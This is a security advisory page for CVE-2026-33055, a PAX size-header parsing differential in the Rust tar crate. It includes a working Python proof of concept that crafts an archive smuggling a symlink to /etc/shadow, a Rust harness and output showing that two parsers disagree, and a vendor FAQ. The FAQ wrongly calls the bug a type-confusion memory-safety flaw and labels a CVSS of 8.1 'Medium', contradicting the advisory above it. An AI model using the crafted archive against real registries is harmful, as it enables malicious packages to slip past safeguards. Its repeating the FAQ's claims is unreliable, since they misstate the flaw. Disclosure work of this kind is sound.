CVE-2026-33055

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600
https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

#!/usr/bin/env python3
B = 512


def pad(d):
    r = len(d) % B
    return d + b"\0" * (B - r) if r else d


def hdr(name, size, typ=b"0", link=b""):
    h = bytearray(B)
    h[0 : len(name)] = name
    h[100:107] = b"0000644"
    h[108:115] = h[116:123] = b"0001000"
    h[124:135] = f"{size:011o}".encode()
    h[136:147] = b"00000000000"
    h[148:156] = b"        "
    h[156:157] = typ
    if link:
        h[157 : 157 + len(link)] = link
    h[257:263] = b"ustar\x00"
    h[263:265] = b"00"
    h[148:155] = f"{sum(h):06o}\x00".encode()
    return bytes(h)


INFLATED = 2048
pax_rec = b"13 size=2048\n"

ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)

content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2

used = len(ar) - mark
if used < INFLATED:
    ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).

use std::fs;
use std::path::PathBuf;

fn sync_parse(data: &[u8]) {
    println!("tar:");
    let mut ar = tar::Archive::new(data);
    for e in ar.entries().unwrap() {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

async fn async_parse(data: Vec<u8>) {
    println!("astral-tokio-tar:");
    let mut ar = tokio_tar::Archive::new(data.as_slice());
    let mut entries = ar.entries().unwrap();
    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
        let e = e.unwrap();
        let path = e.path().unwrap().to_path_buf();
        let kind = e.header().entry_type();
        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
        match link {
            Some(l) => println!("  {:20} {:?} -> {}", path.display(), kind, l.display()),
            None => println!("  {:20} {:?}", path.display(), kind),
        }
    }
    println!();
}

#[tokio::main]
async fn main() {
    let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
    let data = fs::read(&path).unwrap();
    sync_parse(&data);
    async_parse(data).await;
}

tar:
  regular.txt          Regular
  smuggled             Symlink -> /etc/shadow

astral-tokio-tar:
  regular.txt          Regular

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.

An object is accessed using a type that is incompatible with its actual type, causing the runtime to interpret memory incorrectly. Typical impact: memory safety violations, unexpected behavior, or code execution.

CVE-2026-33055 has a CVSS score of 8.1 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.45); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33055? CVE-2026-33055 is a medium-severity type confusion vulnerability in tar (rust), affecting versions <= 0.4.44. It is fixed in 0.4.45. An object is accessed using a type that is incompatible with its actual type, causing the runtime to interpret memory incorrectly.
2. How severe is CVE-2026-33055? CVE-2026-33055 has a CVSS score of 8.1 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of tar are affected by CVE-2026-33055? tar (rust) versions <= 0.4.44 is affected.
4. Is there a fix for CVE-2026-33055? Yes. CVE-2026-33055 is fixed in 0.4.45. Upgrade to this version or later.
5. Is CVE-2026-33055 exploitable, and should I be worried? Whether CVE-2026-33055 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33055 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33055? Upgrade tar to 0.4.45 or later.